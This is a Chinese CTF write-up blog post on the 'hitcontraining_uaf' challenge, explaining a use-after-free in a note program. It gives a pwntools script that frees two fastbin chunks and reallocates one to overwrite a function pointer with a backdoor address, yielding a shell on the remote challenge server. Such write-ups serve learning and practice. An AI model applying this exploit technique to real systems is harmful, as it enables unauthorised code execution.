hitcontraining_uaf

这篇博客探讨了如何在C程序中利用堆管理漏洞,通过创建和释放堆块,然后添加后门,最终利用show功能调用后门函数执行shell。详细步骤包括创建fast_bin堆块,free操作,申请8字节chunk,以及如何触发后门函数。这是一个关于逆向工程和安全漏洞利用的技术分享。
摘要由CSDN通过智能技术生成

国际惯例

在这里插入图片描述

IDA

主函数没啥特别的
在这里插入图片描述有后门
在这里插入图片描述
add
在这里插入图片描述
del
在这里插入图片描述
show
在这里插入图片描述

思路

首先我们创建两个chunk,再free掉,之后add一个8字节的chunk,并添加后门,在通过show功能调用后门函数。

WP

from pwn import*
r=remote('node3.buuoj.cn',26891)

def add(size,content):
  r.sendlineafter('choice :','1')
  r.sendlineafter('Note size :',str(size))
  r.sendlineafter('Content :',content)

def free(idx):
  r.sendlineafter('choice :','2')
  r.sendlineafter('Index :',str(idx))

def show(idx):
  r.sendlineafter('choice :','3')
  r.sendlineafter('Index :',str(idx))

shell_addr=0x8048945
add(48,'aaaa')
add(48,'bbbb')
free(0)
free(1)
add(8,p32(shell_addr))
show(0)
r.interactive()

总结

首先我们创建两个fast_bin的堆块,之后free掉0、1,由于fast_bin是先进后出的进制,这样chunk0就在最下面,之后我们再申请一个8字节的chunk程序会首先把之前free掉的chunk1进行创建,之后的chunk0我们写入后很函数在通过打印调用chunk0的后门函数。(其中的chunk0、1是程序自己创建的chunk)。

没有free的

在这里插入图片描述
free之后
在这里插入图片描述
创建8字节的chunk之后
在这里插入图片描述
之后show chunk0,会调用后门函数。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值